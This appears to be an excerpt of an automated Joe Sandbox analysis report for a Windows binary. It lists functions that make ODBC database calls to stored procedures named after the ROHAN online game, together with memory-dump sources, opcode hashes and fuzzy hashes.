                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsLootMoney](?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-857002754
                                                                                                                            • Opcode ID: 29ae199166e692c2301a8e47a1ffd7dc0e0739a1c8a56170f3cfadd1a9400b3f
                                                                                                                            • Instruction ID: c3bea9a50d6ff61d629eff969e3e49c666d47c50b4adcc6d2f35fd10f0704e42
                                                                                                                            • Opcode Fuzzy Hash: 29ae199166e692c2301a8e47a1ffd7dc0e0739a1c8a56170f3cfadd1a9400b3f
                                                                                                                            • Instruction Fuzzy Hash: D86111B4AD02177BEB249B44CC62FBA7334EB84B1CF104298F7146F2D6D7B169408B58
                                                                                                                            Function 00427921 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 177COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsBaccaratInfo](?,?,?,?,?,?,?,?) } ,000000FD), ref: 0042794A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00427989
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004279BE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004279F6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00427A2E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00427A66
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00427A9E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00427AD6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00427B0E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00427B46
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsBaccaratInfo](?,?,?,?,?,?,?,?) } , xrefs: 00427941
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsBaccaratInfo](?,?,?,?,?,?,?,?) }
                                                                                                                            • API String ID: 0-187441142
                                                                                                                            • Opcode ID: e210eab63132a4498e75b6d13b39d0ccb44b9cd59727e60f7add3a9e461d6017
                                                                                                                            • Instruction ID: 3fa07e850027e7bf786208ee860f5f36d99b2a287fe67b1e8e1374150a47d738
                                                                                                                            • Opcode Fuzzy Hash: e210eab63132a4498e75b6d13b39d0ccb44b9cd59727e60f7add3a9e461d6017
                                                                                                                            • Instruction Fuzzy Hash: 856137716882157BFF648B64CC5AFA97334EB84B14F208388F76D7E2D1D5B16D808B58
                                                                                                                            Function 0042C18D Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 175COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_IncAbility](?, ?, ?, ?, ?, ?, ?, ?)},000000FD), ref: 0042C1AD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C1EC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C221
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042C259
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C291
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C2C9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C301
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C339
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C371
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C3A9
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_IncAbility](?, ?, ?, ?, ?, ?, ?, ?)}, xrefs: 0042C1A4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_IncAbility](?, ?, ?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-1957751959
                                                                                                                            • Opcode ID: d645b3f5ced62a4f5e0f59958542cd6e251e364cc6608319b9f5fc126829f1c4
                                                                                                                            • Instruction ID: 7985b5565c4fac8a4e785060904c1aadb5a2107f2a5a269469c79f59bbc26a8c
                                                                                                                            • Opcode Fuzzy Hash: d645b3f5ced62a4f5e0f59958542cd6e251e364cc6608319b9f5fc126829f1c4
                                                                                                                            • Instruction Fuzzy Hash: 5F5104F0A45614BBEB248B64CC56FAA7334FB84B18F104288F79C6E2C5D7B26D418B5C
                                                                                                                            Function 004342A4 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 175COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetNGuildWarInfo] (?,?,?,?,?,?,?,?)},000000FD), ref: 004342C4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00434303
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00434338
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434370
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004343A8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004343E0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00434418
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00434450
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00434488
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004344C0
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetNGuildWarInfo] (?,?,?,?,?,?,?,?)}, xrefs: 004342BB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetNGuildWarInfo] (?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2468199598
                                                                                                                            • Opcode ID: 6a2f30625ad95400f465f12fd8743b1f319bfc2348f9bde4fab22e9902ec7f57
                                                                                                                            • Instruction ID: 8ffdc4ad92d09df7bb456320f86571d9d7abcd0856e5854055886bf29f085d29
                                                                                                                            • Opcode Fuzzy Hash: 6a2f30625ad95400f465f12fd8743b1f319bfc2348f9bde4fab22e9902ec7f57
                                                                                                                            • Instruction Fuzzy Hash: 1F510071B843147BEB248B54CC52FAA7334EB85B28F14C288F6587E6C5D6B26E408F59
                                                                                                                            Function 0043B6D3 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 175COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsIndunRanker] (?,?,?,?,?,?,?,?)},000000FD), ref: 0043B6F3
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043B732
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043B767
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043B79F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B7D7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043B80F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043B847
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0043B87F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B8B7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,00000028,00000000,?,00000029,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B8EF
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsIndunRanker] (?,?,?,?,?,?,?,?)}, xrefs: 0043B6EA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsIndunRanker] (?,?,?,?,?,?,?,?)}
                                                                                                                            • API String ID: 0-608012760
                                                                                                                            • Opcode ID: 83109631229b2a8bf1cd69d7836aee7ada931dad14a628cf93b92ce27d7dda0f
                                                                                                                            • Instruction ID: d543e9b0ede3afdafdfad87a3ea476860da9ec8a7db97dd4220946c977898703
                                                                                                                            • Opcode Fuzzy Hash: 83109631229b2a8bf1cd69d7836aee7ada931dad14a628cf93b92ce27d7dda0f
                                                                                                                            • Instruction Fuzzy Hash: 8D5113B4A802167BEB349B54CC52FBA7334EB88B14F108298F7147F6C6D6B17D409B58
                                                                                                                            Function 00444674 Relevance: 18.2, APIs: 12, Instructions: 177COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 004446A3
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 004446C7
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004446EB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 0044470F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 00444733
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444757
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044477B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044479F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004447C3
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004447E7
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044480B
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044482F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
